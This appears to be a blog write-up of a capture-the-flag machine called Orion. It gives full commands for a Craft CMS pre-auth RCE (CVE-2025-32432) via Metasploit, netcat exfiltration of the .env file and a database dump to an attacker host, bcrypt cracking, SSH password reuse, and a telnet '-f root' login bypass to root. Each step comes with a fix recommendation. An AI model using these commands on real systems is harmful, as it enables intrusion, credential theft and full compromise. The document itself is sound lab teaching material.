jperezduerto.info
Orion
Summary
I scanned orion.htb and found only SSH and an HTTP server. Browsing to the orion.htb virtual host exposed a Craft CMS installation running a version vulnerable to pre-authentication remote code execution (CVE-2025-32432). Exploiting this flaw via a Metasploit module and blind out-of-band exfiltration, I first extracted the application .env configuration file — revealing database credentials and confirming the site ran in development mode — then used those credentials to dump the CMS database and recover a bcrypt password hash.
Offline cracking produced the plaintext password, which had been reused as the SSH password for the local OS account 'adam', granting an interactive shell and the user flag. From that foothold, I discovered a telnet daemon bound to localhost only; the daemon was vulnerable to a classic BSD login argument-injection bypass in which supplying '-f root' as the telnet username causes the login binary to skip password verification, yielding an unauthenticated root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan; confirms only ports 22 and 80 are open.
$ nmap -Pn -p- --min-rate 3000 -T4 $TARGET
22/tcp open ssh
80/tcp open httpRegister the discovered virtual host for local DNS resolution.
$ echo "$TARGET orion.htb" | sudo tee -a /etc/hostsFingerprint the application platform from HTTP response headers.
$ curl -sS --max-time 10 http://orion.htb/admin/login -I | grep -i 'Powered-By\|Server'Exact commands 2
Locate the Metasploit module for CVE-2025-32432.
$ msfconsole -q -x "search cve:2025-32432"Start a listener to confirm the out-of-band callback from the target before running the exploit.
$ nc -lvnp 8002FixPatch Craft CMS to version 5.6.17 or later to close CVE-2025-32432Critical
Exact commands 2
Start listener to catch the exfiltrated .env content; run this before firing the module.
$ nc -lvnp 8003 > loot.envRun the CVE-2025-32432 module and pipe .env content to my listener.
$ msfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; set RHOSTS $TARGET; set VHOST orion.htb; set TARGET 'PHP In-Memory'; set payload php/exec; set AutoCheck false; set ASSET_ID 1; set CMD 'cat /var/www/html/craft/.env | nc $ATTACKER_IP 8003'; exploit"Exact commands 3
New listener port for the database dump; start before firing the module.
$ nc -lvnp 8004 > loot.sqlReplace <DB_USER>, <DB_PASS>, and <DB_NAME> with values from loot.env.
$ msfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; set RHOSTS $TARGET; set VHOST orion.htb; set TARGET 'PHP In-Memory'; set payload php/exec; set AutoCheck false; set ASSET_ID 1; set CMD 'mysqldump -u<DB_USER> -p<DB_PASS> <DB_NAME> | nc $ATTACKER_IP 8004'; exploit"Extract the bcrypt hash from the SQL dump into a file for cracking.
$ grep -oP '\$2y\$\d+\$[./A-Za-z0-9]+' loot.sql | head -1 > hash.txtFixDisable development mode and restrict access to the .env configuration fileHigh
Exact commands 2
Crack the extracted bcrypt hash using the rockyou wordlist.
$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txtDisplay the recovered plaintext password after cracking completes.
$ john --show hash.txtFixEnforce strong, unique passwords and disable SSH password authenticationHigh
Exact commands 2
Authenticate with password; spawns an interactive shell as adam.
$ ssh adam@$TARGETRead the user flag: <user.txt>
$ cat /home/adam/user.txtExact commands 1
Run from within adam's SSH session; confirms telnetd bound to 127.0.0.1:23.
$ ss -ltnp | grep ':23'Exact commands 2
Pipe commands into telnet with '-f root' as the login name; the login binary skips authentication and opens a root shell.
$ ssh -tt adam@$TARGET "(sleep 1; echo id; sleep 1; echo whoami; sleep 1; echo 'cat /root/root.txt'; sleep 1; echo exit) | telnet 127.0.0.1 -l '-f root'"Read the root flag from within the root shell: <root.txt>
$ cat /root/root.txtFixRemove the locally-bound telnet service to eliminate the unauthenticated root escalation pathCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.